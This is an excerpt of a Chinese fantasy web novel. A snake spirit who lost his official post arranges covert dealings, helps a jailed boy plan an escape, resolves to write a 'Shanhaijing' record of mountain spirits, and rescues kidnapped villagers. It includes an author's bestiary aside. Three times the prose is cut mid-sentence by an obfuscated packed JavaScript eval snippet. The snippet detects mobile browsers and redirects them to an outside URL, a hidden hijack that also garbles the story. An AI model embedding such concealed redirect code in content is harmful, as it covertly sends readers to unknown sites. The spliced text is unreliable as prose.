秦云意示意他噤声,随后将他拉到更隐蔽的角落,告知了自己已经卸任的事实。 “长话短说。我已卸去官职,往后便是白身,只不过现在有一件事要你办,就是与马老六那边的接触,今日我先暂缓明面上的往来,但备船之事不能停,我得要更隐蔽才可以。” 听到秦云意说自己被卸任,周三心中咯噔一下。他瞪大眼睛,黝黑的脸上写满了错愕和不敢置信。 “秦、秦主事……您说什么?卸……卸任?” 周三的声音不自觉地拔高了些,又赶紧压地。 “这……这怎么可能?秦主事,曲阳城里谁不知道,您是最办实事的主事老爷!您那贷济仓救了那么多人的命,修水渠,引商队。您……您……唉!那群官老爷是瞎了眼吗?!” 他的反应直白而激烈,毕竟在周三这种靠力气吃饭的码头工人眼里,只要当官的不贪不占、肯为百姓做点实事,那就是天大的好官了。像秦云意这样的官被罢免,简直没天理! “官场上的事,没有那么多道理可讲,只是现在说这些无益。周三,我信你为人,才来找你。” 秦云意只是平静地看着他,等他把那股激愤的情绪稍稍平复,才继续开始说道。 “秦……先生!您别说这话!我周三是个粗人,不懂那些弯弯绕,但我知道谁对我有恩,谁是好人!您这恩情,我记着呢!您说,要我干啥?还是上刀山下火海,我周三皱一下眉头就不是娘养的!” 他说得斩钉截铁,眼眶都有些发红。 这就是普通老百姓啊……秦云意被他整的心中一暖。 “还是一样,不用你上刀山下火海,只是眼下我被盯着,与马六那边的联系不能再像以前那样走县衙的明路了。但边境那条线,无论对我们,还是对曲阳都很重要,绝对不能断。” 他微微前倾,把声音压得更低,确保只有两个人能听见。 “我要你,以你私人接‘散活’的名义,继续与马六保持联系,我会给你一批货物——不过不是官货,是我个人备下的,像一些山货和北地紧俏的药材,你用它作掩护,替我传话、接货,至于马六那边,我会另想办法递消息过去,他知道该怎么做。” 周三听得认真,脑子飞快地转着。他常年在码头混,三教九流都接触,自然明白“被盯着”和“走暗线”意味着什么,更明白这其中潜藏的风险,但他几乎没有犹豫,只是重重一点头。 “成!秦先生,我明白!就是偷偷摸摸把事儿办了呗!码头这边我熟,货箱堆里藏点东西、趁着夜色装卸,门儿清!马六那边……他虽然是个跑私货的,但讲义气,认您这个朋友,我去说,他应该信。” “不止是信。”秦云意从怀中取出一个不起眼的小布袋,递给周三。 “这里面是一些银钱,用作你平日打点、应急,以及付给马六的辛苦费。规矩照旧,该给他的那份不能少,甚至……可以稍微多给一些,不过一定要告诉他,现在是非常时期,只有这条线保住了,日后才有更长远的生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153444|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意……” 周三接过秦云意递来的布袋,它入手沉甸甸的,这让他心头更是一沉。 “秦先生放心,这钱怎么用,话怎么传,我心里有数,定不误了这事。”他紧紧攥住布袋。 “还有,此事机密,出我之口,入你之耳,无论对谁,哪怕是至亲,也绝不可提起与我有关。之后的平日里,你我还是装作不认识为好,若有人问起你突然多了些活计或银钱……” “我就说是走了运,接了几个出手阔绰的商旅私活!”周三立刻接口,眼里闪过机灵。 “码头这种事儿常有,放心,秦先生,这不会惹人怀疑。” 秦云意点了点头。 “行事谨慎,安全第一,你若察觉有任何不对,立刻停手,一定保全自身,关于货物和消息,我会另找途径告诉你放置和交接的地点、方式。”他最后叮嘱道。 “明白了!”周三用力点头,将布袋仔细塞进怀里最贴身的位置。 “秦先生,那您……您以后怎么办?要去哪儿?”他想了想,最终还是忍不住问道。 秦云意望向码头之外。 “我……自有去处。”他没有明说。 “至于你,你记得,一定照顾好你照顾好你娘。曲阳……或许不会太平太久,我这边也受了牵制——你自己多留个心眼。” 说完,他不再多言,拍了拍周三的肩膀,转身就走,这次,他目标明确地朝着县衙侧后方那片低洼阴暗的区域而去,这便是:牢狱。 不同于正门的堂皇,牢狱所在的巷道几乎终年弥漫着一股挥之不去的霉味、馊味、排泄味,还有隐约的血腥气,即使是在白天,这里也显得阴森、晦暗。所以那些寻常百姓无事绝不靠近这块地,偶尔便只有送饭的杂役和轮值的狱卒才会进出。 不过,秦云意对这里并不陌生,作为曾主管文书刑名的主事,他来过不止一次,也熟悉这里的班次和看守松懈的时辰。此刻正值清晨交班后不久,守了一夜的狱卒全部精神疲沓,接班的则还带着宿醉,或早起的困意,正是防备最松的时候。 他没有走正门,而是绕到牢狱侧后方一处堆积杂物的角落。这里围墙更高,但墙角因常年渗水,砖石有些松动,秦云意屏息凝神,妖力极细微地流转,手足并用,几个起落便无声无息地翻过了高墙,落入墙内荒草丛生的死角。 他伏低身体,目光迅速扫视院内,此刻,正有两个狱卒靠在刑房外的柱子上打哈欠,还不时低声抱怨着昨夜的赌局和劣质的酒水,至于那通往地下牢房的铁门,它虚掩着,偶尔还能听见里面传来隐约的咒骂与呻吟。 就是这里了,他要救之前那个偷粮册的少年。 秦云意耐心等待了片刻,趁着一个狱卒被叫去抬水,另一个伸着懒腰转身闭眼的片刻,他身形如鬼魅般一闪,已穿过院子,无声地溜进了那扇虚掩的铁门。 秦云意的目标就在最里面一间的牢房。在此,他也终于见到了之前的少年,只不过他衣衫更加褴褛,脸上还带着新老伤痕和污迹,这家伙甚至瘦得脱了形,脸颊凹陷,听到极其轻微的脚步声,也只是动了动,连抬头看的力气似乎都没有。 只不过,当他看清栅栏外的身影时,他还是睁大了眼睛。 秦云意看着他,心中掠过一丝复杂的情绪,他迅速做了个噤声的手势。 “……听着,小娃,你的案子一时难以翻覆,但我今日来,是给你一条生路。” 秦云意从怀中取出一个防水的油纸包,里面是几块压实的干粮、一小包粗盐,还有两个不起眼的蜡丸。 “你记住,干粮和盐省着吃,能撑几天。那蜡丸里是提气疗伤的草药,你现在吃一颗,之后必要再时再服下,可暂保元气。” 之后,他将油纸包从栅栏底部一个稍宽的缝隙塞了进去,其中的那一颗蜡丸则喂到了少年的嘴里。 接着,他又取出几块碎银和一把小巧的钢片。 “你都银子藏好,莫要让其他狱卒看见。这把钢片你贴身收着,必要时可用以防身,或……或尝试开锁。锁芯结构我已看过,并非无法可解,但需耐心和巧劲,我稍后会告诉你窍要。” 他将这些也塞了过去,少年挣扎着坐起来,用颤抖的手接过这些东西,如同捧着救命的神物,紧紧捂在胸口。 “我已偷偷买通一个狱卒,就在这两日内,会将你调往看守更松的普通监号,那里人多眼杂,便于你行事。记住,逃出去后,切不可回家,也不可相信任何自称能帮你的人。径直往南,进山,去寻一个叫‘野人沟’的地方,那里有猎户和逃户聚居,官府一般不去。到了之后,去找当地的老猎人,我相信他会好心安置你。” 秦云意语速极快,但他却清晰地将逃生路线、接头暗号、注意事项全部交代了,他甚至还在潮湿的地面上,用指尖蘸着尘土,快速画了个简略的路线图。 “你的案子是顶罪,真凶和背后之人不会容你活着翻供,留在牢里只有死路一条,逃出去,活下去,才有日后鸣冤的可能——你明白吗?” 秦云意盯着少年的眼睛。 那少年尽最大力气点了点头,泪光中燃起了强烈的求生意志。只不过时间紧迫,秦云意不再多言,他迅速而详细地讲解了那把锁的构造,还有用那钢片撬动的几个关键点,又叮嘱了逃离时如何去算狱卒换班间隙。直到最后,实在没有什么可交代的了,他深深看了一眼这个深陷绝境的少年。 “记住,活下去。” 说完,他身影向后一缩,迅速退入甬道的黑暗里。 他走了。 20. 山海经……? 这次,他准备回到白山,可当他重新回到车水马龙的大街上时,竟一时显得有些茫然:官身已卸,前路未明,而往日那些清晰的谋划,也全部一并咽在了肚子里——现如今,自己又该往何处去?又该去做些什么? 秦云意在原地站了片刻,终究还是抬步往城外走去。在经过城西那片茶楼酒肆时,里头正显得热闹——这个时辰,正是说书先生开场的时候,紧接着,茶楼内传出惊堂木“啪”一声脆响,之后,说书人沙哑的嗓音便拖着调子,缓缓飘出窗来: “——话说那黑山老妖啊,修炼千年,神通广大!嘿!麾下那三千妖兵,每逢月圆之夜,便下山掳掠童男童女,吸食精血,啖人食肉,端的狠毒无比!幸有洞天宝地遣下高徒,持法宝、诵真言,与那老妖大战三百回合,终将其斩于剑下,救黎民于水火……” 茶客们听得入神,不时发出像“嚯”、“哎呀”之类的惊叹,只不过,在角落里有几个书生模样的年轻人,听闻讲话时,却反复摇着头。 “又是这老套路,听得耳朵真要起茧……”一个人低声说。 “你懂什么?百姓就爱听这些。什么妖魔鬼怪,道士降妖,大快人心!”另一个反驳道。 “嘁,要我说,世间哪来那么多妖怪?那人心之恶,可胜过妖魔百倍!”最开始的人依旧不服输。 “慎言!这话岂能是你这种人乱说的?” “你小子……!” …… 秦云意站在街对面阴影里,静静地听着,那说书人口中的故事荒诞不经,却恰好是普通人对于“妖怪”的想象——强大、残忍、嗜血,与人为敌,而道士,则是斩妖除魔、匡扶正义的英雄。 可现实呢? 秦云意自嘲地笑了笑,他想起了梦中那些道士,他们衣袍华美,谈吐文雅,却用最平静的语气讨论如何虐杀生灵、夺取内丹,他们也自诩“正道”,也说要“除妖”,可行径却与故事里的妖魔何异?他们甚至更虚伪。至少那妖怪吃人是赤裸裸的欲望,而那些道士,却能为人心的贪婪披上“天道”“飞升”的华袍。 唉……人心! 秦云意继续往前走。这次路过了一间书肆,书肆门口挂着“代写书信、诉状”的木牌,里头坐着个戴圆眼镜的老先生,正埋头誊抄些什么。秦云意认真看了看,只见那柜台上摆着几本粗劣印制的话本,封面还画着狰狞鬼怪与持剑道士,色彩艳俗刺目。 秦云意突然想到了什么。 对啊,人类们可以用文字记录历史、传递知识、讲述故事,可山野精怪大多不识字,即便如他这般化形的,也多是口耳相传,靠对人类的记忆鹦鹉学舌般的学习…… 那……若有一日,自己和白山上的伙伴们都不在了,那他们的故事、他们的存在,又有谁会记得?难道它们就只配湮灭在时光里,或成为人类话本里被随意涂抹的邪魔脸谱?哪怕它们根本就不吃人? 于是,一个崭新的念头从他的心口升腾起。 没错,他也要“写”。 …… 一段时间之后,秦云意走出了城西那片喧嚣之地,沿着熟悉的山道往白山行去。如今他没有了官身的束缚,本应该轻松便是,可脚步反倒比往日沉重,心头的酸涩感也依旧挥之不去——不只是官身被罢,倒是那梦境所扰,扰的他心神不安,一路走去又想到很多事情。 待他回到白山上时,远远便瞧见了几道身影,今天豺狼不在,只有耳鼠、石公、鸱等妖,那耳鼠正蹲在一块溪石上,一双大耳朵机警地转动着,用前爪梳理着毛发,石公则盘坐在他常打坐的那块青石旁,身躯与山石几乎融为一体,而那鸱……它则闭着眼睛,白日是它睡觉的时辰,但在秦云意踏入林间空地时,那双金色的眼瞳还是缓缓睁开。 “螭君到了!”鸱伸展着羽毛,大声啸道。 耳鼠听闻“吱”了一声,轻盈地跳下溪石,向螭厌凑近了些。 “螭君到了!只不过……螭君你怎么看上去……有点不太开心?”它闻了闻螭厌身上的气味,随后开口。 “事不顺?还是别的什么?”石公接话道。 “不是不顺,是……罢了。”螭厌回答。 “罢了?”耳鼠眨巴着圆眼睛,好似没听懂。 “便是被那人间官府革了职,不再是官了。”鸱冷冷地替秦云意解释了一句,目光却一直落在后者脸上。 “螭君,这是为何?”它问到。 之后,秦云意将城中之事,王长史施压,还有蓝主簿与郑县尉的冷眼,以及自己暗中调查可能触及某些人利益的事,简略一并说了。 “人间官场,翻复乃是常事,螭君以异类之身周旋其中,更如履薄冰。此番结果,唉……虽遗憾,却非意外。”石公叹了口气。 “可螭君都是为了帮那些人啊!”耳鼠急忙叫道,“还有,那些人族,不是总说自己要知恩图报吗?怎么现在却……” “人心复杂,非一‘恩’字可概。”鸱打断它,语气依旧冷淡。 “那么螭君,你待如何?今后不去人间,从此便只在山中清修?”他又看着秦云意,缓缓开口说。 “清修……或许也不能了。”螭厌顿了顿,随后他将那个诡异的梦境,以及城中潜藏邪祟,可能有邪道窥伺的担忧说了出来。 “即便现在我无官身,有些事既已看见,便无法装作不见,那梦中景象,着实太过真切……我总觉与近日城中异动有所牵连。” “梦乃心兆,亦可能为外感……”石公沉吟着。 “……若真有邪道以邪术炼妖,其目标未必仅限于城中人族。我等山中生灵,精魂纯净,对那些走偏门捷径者而言,亦是宝物啊……” 此言一出,周围气氛顿时一凝。 “所以,螭君此次回来,并非只是丢了官心里难受,而是是察觉到了更大的危险,想提醒我们,或许……也想听听我们的看法?”鸱缓缓说道,它懂得很多。 秦云意点了点头。 “是,我一人之力毕竟有限,且如今行动更需隐蔽。而山中是我们根基,若灾祸蔓延至此,谁也无法独善其身,所以关于此事……我便想与诸位商议。” 语毕,众妖一致叫好。 秦云意见众妖答应,心中一暖,他站起身,对着伙伴们郑重一礼。 “如此,螭厌便先谢过诸位。此事凶险未明,我等需从长计议,既要探查城中暗流,也需巩固山中防御,更要……找 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“……哪怕粗浅,哪怕我们写的只给自己看,至少这也是我们存在过的痕迹,若真有那么一天……后来者,或我们自己,翻开这些记述,还能知道这片山林里,曾有过怎样的春夏秋冬,怎样的喜怒哀乐,也知道我们并非天生就该是话本里那般模样……” 这番话让林间静了一静,之后,山林里爆发出了喝彩声,白山里的妖怪都齐齐叫好,就连偷偷溜去人间的赤练、豺狼等妖,也都闻询赶了回来,加入了庆贺的队伍之中。 “立言存迹,是大事!螭君您若有此心,便去做吧。”三十一位妖怪纷纷叫道。 秦云意心头那点希望的微光,在同伴们的认可下,终于变得逐渐清晰而坚定。他缓缓舒了口气,仿佛卸下了某种无形的重担,然而,一个具体的问题又随之浮上它的心头:这书若要记述,该唤它什么名字?他沉思片刻,紧接着,一个书名自然而然地浮现在他心间—— 山海经。 这名字朴实,却贴切。因为“山”与“海”,是这天地间最广阔的所在,包容万物,生泽万物。他们这些山野精怪、林泽生灵,便是在这样的天地间生息,而“经”字……是“经过”,是“经历”,亦是“经纬”。 螭厌将这个念头郑重地记下,可就在他心境稍有平复,准备回自己洞府调息时,一妖急匆匆从旁边赶来,嘴里还说着什么“万分紧急”之类的话。 “螭君!不好了!出事了!我刚刚把哨,听见山下传来消息,说是北边溃败下来一小股不知道是哪的败兵,竟然流窜到了曲阳东面的清水乡附近,正在抢粮,杀小孩和女人!那乡的百姓组织青壮抵抗,结果被打死了好几个,现在乱成一团!我听见还有人说,他们还看到败兵里混着几个形迹可疑,用黑袍子裹得严严实实的人,身上还有有股血腥味!” 什么?溃兵?抢粮抢人?还有形迹可疑者? 秦云意猛地站起来,眼中那丝迷茫瞬间被尖锐所取代,毕竟,无论他的“道”最终指向何方,但眼下,有人正在他知晓的地方作恶,伤害无辜。 这他不能不管。 “走!”他低喝一声,化为一道黑影,极速朝着山旁清水乡的方向疾掠而去。 “那么,诸位,我便先行一步!” 21. 白山妖怪介绍[番外] 白山三十一种妖怪如下: 壹耳鼠 有兽焉,其状如鼠,而菟首麋身,其音如獆犬,以其尾飞,名曰耳鼠。 贰幽鴳 有兽焉,其状如禺而文身,善笑,见人则卧,名曰幽鴳,其鸣自呼。 叁 何罗鱼 谯水出焉,西流注于河。其中多何罗之鱼,一首而十身,其音如吠犬。 肆嚣 有鸟焉,其状如夸父,四翼、一目、犬尾,名曰嚣,其音如鹊。 伍人鱼 决决之水出焉,而东流注于河。其中多人鱼,其状如?鱼,四足,其音如婴儿。 陆天马(豺狼) 有兽焉,其状如白犬而黑头,见人则飞,其名曰天马,其鸣自纠(讠打不出来这个字) 柒獂 有兽焉,其状如牛而三足,其名曰獂,其鸣自咬(讠字旁) 捌狪狪 有兽焉,其状如豚而有珠,名曰狪狪,其鸣自纠。 (秦云意的钱很大一部分是靠他产下的珍珠去当铺换的钱) 玖化蛇/长蛇/巴蛇/烛阴(螭厌) 又北三百七十里,曰白山,有兽焉,其状如巨蛟而赤纹,身长千尺,脊生玄翼,目如幽潭,名曰螭厌,司掌山魄,具化蛇之鸣、长蛇之躯、巴蛇之噬、烛阴之息,并四凶相于一身。 (↑喏,我自己仿了一下,螭厌就是这种集合体) 拾跂踵(鸱) 又西二十里,曰复州之山,有鸟焉,其状如鸮,而一足彘尾,其名曰跂踵。 拾一 赤鱬 英水出焉,南流注于即翼之泽。其中多赤鱬,其状如如鱼而人面,其音如鸳鸯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153446|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾二虺(赤练) 又东三百八十里,曰猨翼之山,其中多怪兽,水多怪鱼,多白玉,多蝮虺,多怪蛇,多怪木,不可以上。 (大概就是白山吧↑) 拾三狰(石公) 有兽焉,其状如赤豹,五尾一角,其音如击石,其名曰狰。 因为考虑到如果妖鬼写太多就有点难控制我最开始的人文主义主题(已经有前一本先见之明了,打斗真难,怪物真多,头疼的要命,还要到处查去蹦英文法语拉丁语克苏鲁语还有各种隐喻意象),所以最后还是把狰改成了青石老者的形象,更何况这文其实是一部分我的自传,所以想要写法术……呃,难想,想不出来,我最爱对话了,伏笔对应真多。 剩下那些就是各种各样的小山鬼小兽山魈魑魅魍魉等等,不过在山君螭厌的教导下,皆不害人,不食人。 22. 清水血案 等秦云意赶到时,清水乡乡口早已是一片狼藉了:那里至少有七八间草棚已被流寇点燃,火苗猛烈,将那茅草烧的漆黑,还不时发出噼啪的哀鸣,就连土路上也是一片狼藉,到处都是是散落的物什,像什么被踩烂的粟米袋,踢得破碎的陶瓮瓦罐,几只僵硬的死鸭死鸡,当然还有……人。 五具尸首,它们就这么歪七扭八地横在路旁,几乎所有人都是青壮年,都是乡民打扮,伤口狰狞,想必是刀劈斧砍而致,血浸透了他们身上的粗布,在黄土路上晕然开大团暗红……其中最惨的是个老人,它的胸口被整个剖开,脏腑隐约可见,眼睛睁的大大的,脸上甚至凝固着死前的惊恐与不甘。 山匪?秦云意冒出这个念头。他向四周望去,只见在另一旁的老槐树下,那里聚集着三四十号劫后余生的乡民,多是老弱妇孺,人人脸上都糊着烟灰和泪痕,衣衫不整,有的还光着一只脚,而在他们旁边不远处,剩余还有几个身上挂彩的汉子,他们拄着锄头、柴刀,围成一圈,正急声密谋着什么,声音里压着愤怒,更压着恐惧。 “不是山匪!”说话的是个脸上带疤的男子,他左手不自然地垂着,显然是伤了筋骨。 “山匪劫财,不至于这般……这般狠绝!你们看王——唉!人都死了,还要补上几刀,这是有多大仇?” “您说得对,我刚刚在打斗时看见了他们的穿戴——窄袖左衽,腰间束革带,脚蹬皮靴,头上戴毛皮帽子……有几个脸上还刺着青纹。”有一人接话道,他的手上正在洄洄地流血,伤口很深,已然见骨,疼得他龇牙咧嘴。 “难道……是胡人?”有人颤声问。 “是胡服。”乡里唯一读过几年书的老童生忽然开口。 “先前赵武灵王推行胡服骑射多年,军中民间皆有仿效。但这些人……”他顿了顿。 “他们穿的,是真正的北地胡服。且我方才听见他们吆喝时,用的……是中山国的旧语。” “中山国?” 众人面面相觑。要知道,中山国多年前早已被赵国所灭,国土并入赵地,王室尽殁,余部四散。那这群家伙……现在怎会又突然出现在这离边境数百里的曲阳地界? “您没开玩笑吧,老童生,中山国?里面的人不是被我们全灭了吗?” 乡老们还在为这群匪徒的来源争辩,结果这时,一个一直蹲在角落里的老妇人突然开口了: “恐怕是……就是中山……因为我……我好像听见他们有人喊了句话,就像是……‘复中山’。” “复中山?!”乡老们猛地睁大眼睛,要知道,此番话语是他们最不想听到的。 “是中山余孽。”老童生点点头,肯定地说道,“且他们非寻常溃兵。你们可注意到——他们动作整齐,进退有度,劫掠时不乱抢,专挑粮畜和青壮,倒像是……倒像是为了什么而来……” 听到“中山国”几个字,秦云意挑了挑眉,更加快步向前走近,那清秀的容貌与周遭狼狈格格不入,导致他一出现就立刻引来了众人警惕的目光。 “站住!”一个脸上带着血痕的壮汉猛地举起柴刀,眼神冰冷而凶狠,“说话,你是什么人?” 周围闻声的壮汉都站了起来,他们同样厉声喝道。 “过路的,我听见动静来帮忙——是出现流寇了?”秦云意停下脚步,急切地看向各位。 “这位郎君……你……看着并不像寻常人,但若要动手,别怪我们不客气!”众人还是有所防备,直到人群之中,有人认出他就是之前那位修水利的“秦主事”,所有人这才放下刀,满怀希冀地看着他。 “秦……郎君,这里太过凶险,若您实在想帮忙,您……您可会武艺?”老童生关切地问他。 “略通些武艺。”秦云意对此简单带过,他走到一具尸体旁蹲下,仔细蹲下,查看伤口:这刀口深而窄,由下往上挑,是典型的马背劈砍手法,但死者面色青黑,嘴唇乌紫,又不像是单纯失血…… “刀上有毒!”秦云意低声喝道。 毒?!众人惊愕不已。 “不止。”秦云意翻看另一具尸体,这是个年轻男子,在他颈间有一道细窄刀口,本应鲜红无比,结果却是乌黑发紫,流出一股黑血。 “还是见血封喉的剧毒,这些人……不只是来劫掠的,他们另有所图!” 众人的恐惧立马变得更大了。 “那是来做什么的?”有人颤声问。 秦云意没有立刻回答。 “你们先告诉我,他们走了多久?往哪个方向?抓走多少人?”他问道。 “不到一个时辰。”带疤老汉忙声道,“往西边黑死坳去了,别的乡不知道,我们清水乡抓走了六个,老刘的闺女幺儿,铁匠铺的儿子豆豆,学徒牛铁儿,以及还有另外三个后生!” “——就是胡人!就是胡人!那是一群穿皮袄戴毛帽的胡人!”突然,一位精神受到刺激的乡老颤巍巍上前,一把扑向秦云意,老泪纵横。 “他们骑马冲进来,见东西就抢,见人就砍……我家的闺女被掳走了,然后隔壁那姓卜的瘸子想拦,结果,就被一刀……捅穿了肚子啊! 他捶地哭嚎。 “我的幺儿,我的幺儿!她穿着蓝底白花袄,手上系着红绳,脸颊有颗红痣,她才十三!那些天杀的畜生,畜生啊!” 秦云意心头一紧,他连忙蹲下身,扶住起那几乎崩溃的老刘,随后转身望向西边——自己不能等了,毕竟,这儿有三四十个武装流寇,早已带着掳掠的人潜入山坳,他若是每拖延一刻,危险便增一分,而之前小妖说那里还有神秘的形迹可疑人士,他们也…… 无论他们意欲何为,都必须阻止。 秦云意深吸一口气。 “我会去救人,至于其余人,立刻护送老弱妇孺往北边山洞转移,带上水和干粮,然后再派两个腿脚快的,一个去曲阳城报官,一个去邻近乡里求援!”他对众人说。 “什么?!秦郎君,您一个人进去太险了!”众人忙急道。 “若我半个时辰没回来,那才是出了什么事,现在情况紧急,我可以应付,或者替换人质——人多了恐生不便。” 纠结一番后,众人最终选择相信秦云意,他们握紧了手中简陋的武器,重重地应了几声。 …… 沿着胡人马队留下的杂乱蹄印与踩踏痕迹,秦云意沉默飞奔,随着场景的变化,越靠近那黑死坳,周围的血腥味就越浓,路边还随处可见被丢弃的布片、破烂的碗盆……直到奔了约五六里后,前方山势收束,形成一道狭窄坳口,勉强通过一人,非得复行好一段路程,嘈杂的人声,马嘶声,与乡民隐约的哭喊这才从中传来。 秦云意躲藏的很好,为了方便观察,他悄无声息地攀上一块巨石,之后朝内望去,只见这洼地里正扎着几顶粗陋皮帐篷,十几个马匹拴在一边正吃着草,在它们旁边,有三十多个胡人兵痞正围坐篝火旁,大多穿着脏污的羊皮袄,头戴翻毛帽,腰佩弯刀短矛,此刻正撕扯着烤肉,不时还用胡语高声笑骂。 而在营地最里侧的靠近岩壁处,那儿静静地立着三道黑色身影,他们用厚重的袍子遮住了全身,让人根本看不见长相,不过秦云意还是敏锐地感知到了一些不适——那正是从他们身上散发出来的。 果然在此,那他们这是……邪祭? 他不敢妄动,而是继续听着,眼神来回地扫着周围,试图找到被困乡民的痕迹,可惜这里视线不佳,他只好绕向营地西侧——那里堆放着抢来的杂物,还有两匹未拴牢的马,不过好在,他也终于看清了一切:在黑衣人们的岩壁,正有六个被捆住手脚的年轻人蜷缩在此,他们嘴上塞着破布,只能发出压抑的呜咽。 其中,那个穿蓝底白花夹袄的少女——幺儿,此刻正微微抬着头,眼睛在火光中亮得吓人,她来回谨慎地看来看去,在确认敌兵没有注意到自己之后,她开始继续在石头上磨蹭绳索,即便那儿已渗出鲜血,她却仍未停止。 “法师,东西齐了,人还差一些——不过,我等什么时候开始复国仪式?” 不久,一个首领模样的中年男子就站起身来,他走到黑袍人面前,问话道。 “子时,阴气最盛之时,只不过人未齐,不急。” “还要等?要知道,这鬼地方可不宜久留,万一等下赵军追来……” “此地乃阴气最重之地,正合我用,你若心急,可自行离去。”黑衣人不慌不忙地说。 听闻此话,中年首领脸色变了变,可他终究没再说什么,只好悻悻退回。 秦云意伏在暗处,内心沉重,邪法?复国?果然是一群邪术师!他凝聚妖力,正打算强行介入,可没想不远处那幺儿竟不知何时,已经将手腕挣脱出一只。 什么?秦云意皱眉。 此刻,他看见那幺儿她 单手撑地,正缓慢地、悄无声息地挪到了胎记少年的身边,打算用脱出的手去解他腕上绳结。少年见此瞪大眼睛,不敢动弹,好在幺儿手指灵巧,借着阴影遮掩,竟很快解开一个活扣,她朝少年使了个眼色,又悄悄摸向腰间,还从夹袄内衬里抽出一把小小的镰刀…… 这姑娘……秦云意收回能力,眼中闪过一丝诧异和赞赏,他继续观察着,看见那幺儿将镰刀塞给胎记少年,又用口型示意他去解旁边人的绳索,她自己则蜷缩回原处,将被磨断的绳索虚搭在手腕上,佯装仍被捆着,眼睛却死死盯着最近处,一个背对着他们检查弓弦的中山兵痞。 不错,她在等时机。 秦云意点点头,既然这姑娘的胆识出乎意料,或许……自己与她,可里应外合? 想到这里,他悄然退后数丈,从身旁取用一枚温润的鹅卵石,以指为笔,在其上快速划下几个字符,随后轻轻一弹,这石子便化作一道微不可察的白光,贴着地面阴影,悄无声息地滑向了幺儿所在的方向。 幺儿身子微微一震,显然察觉到了周围的异常,她余光看到了那抹微光,在迟疑片刻后,她忙用脚尖轻轻拨开碎石,终于看见了那片鹅卵石,上面写着:我待用火攻。 火? 幺儿瞬间明白了他的意思。 篝火、马匹、还有那些中山兵随身携带的皮囊…… 与此同时,秦云意悄然绕向坳地西侧,那里拴着十余匹战马,还有堆放的粮袋,和几只鼓囊囊的皮囊,只不过,美中不足的是,这儿依然有两个中山兵坐在不远处看守,神色警惕。 秦云意指尖微屈,一缕细若游丝的妖力顿时分成两股,一股没入马群中最为高大强壮的一匹黑马,另一股则悄无声息地缠上拴马的绳索。不一会,那黑马就开始烦躁地踏蹄、甩头,用身体蹬着马柱,之后,这份情景愈演愈烈,它甚至开始嘶鸣,叫声激烈而痛苦。 “干什么?这畜生又在闹什么?” 一个中山兵见此,皱眉起身,走过去查看,可就在他靠近的瞬间,秦云意指尖一勾…… “嘣!” 拴马绳应声而断,与此同时,黑马猛地后仰,竟然直接挣脱束缚,嘶鸣着冲撞马群,其余马匹皆相继受惊,顿时,嘶叫声、踢踏声全部乱成一片,那两个看守的中山兵慌忙想拦,却被受惊的马匹撞得踉跄后退,一屁股摔倒在地上。 “不好!马惊了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153447|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 洼地中央的中山兵们闻讯迅速起身,他们有序地散开,持刀戒备,这番场景,惹得那几个黑袍人不禁也转头看向骚乱处。 就是现在! 秦云意身形闪至堆放皮囊处,袖袍一拂,几只装酒的皮囊便凌空飞起,精准砸向最近的一堆篝火,随着“轰”的一声,酒精便被泼洒在篝火上,那火苗轰然窜起数尺高,火星四溅,几个靠近的中山兵猝不及防,竟直直被燎着了衣袍,全身燃起火来。 “糟糕!有埋伏!”他们大叫道,急忙开始扑灭自身的火焰。 趁此机会,岩壁下的幺儿也猛地动了,她拿起手中那柄生锈的镰刀,用他狠狠劈在最近一个中山兵的后颈上,那兵卒闷哼一声,便久久倒地不起。与此同时,胎记少年也已解开另外两人的束缚,四人合力,竟将剩下的乡民们全都解救出来,直直就往马匹附近的狭道方向冲去。 “快,快拦住他们!” 剩下的中山兵终于反应过来,连忙怒吼着提刀追去,余下的人则持弓搭箭,封堵去路,只不过几人此刻已经跑到马匹处,他们连滚带爬扑向马儿,试图去控制缰绳,但最后只有两人成功了。可由于位置不足,幺儿和牛铁则被留在了最后,但由于此时马群全部受惊,他们几次伸手都抓不到缰绳,急得满头大汗。 身后追兵的脚步声越来越近,那呼喝声几乎已到耳后,牛铁急得奋力前扑,可指尖刚触到一匹棕色马的缰绳时,那马却因受惊猛地扬蹄,将他带了个趔趄,一把摔在地上动弹不得,他绝望地闭上眼睛,几乎已经感受到了身后刀剑的寒意,以及胡人兵痞完全靠近的呼吸声…… 就在这时—— “上马!” 一道黑影策马疾驰而来,此人正是秦云意,刚刚他不知何时夺了一匹无主战马,现在的他单手控着缰,另一只手则如铁钳般探出,在疾驰中精准地抓住了幺儿的后衣领…… 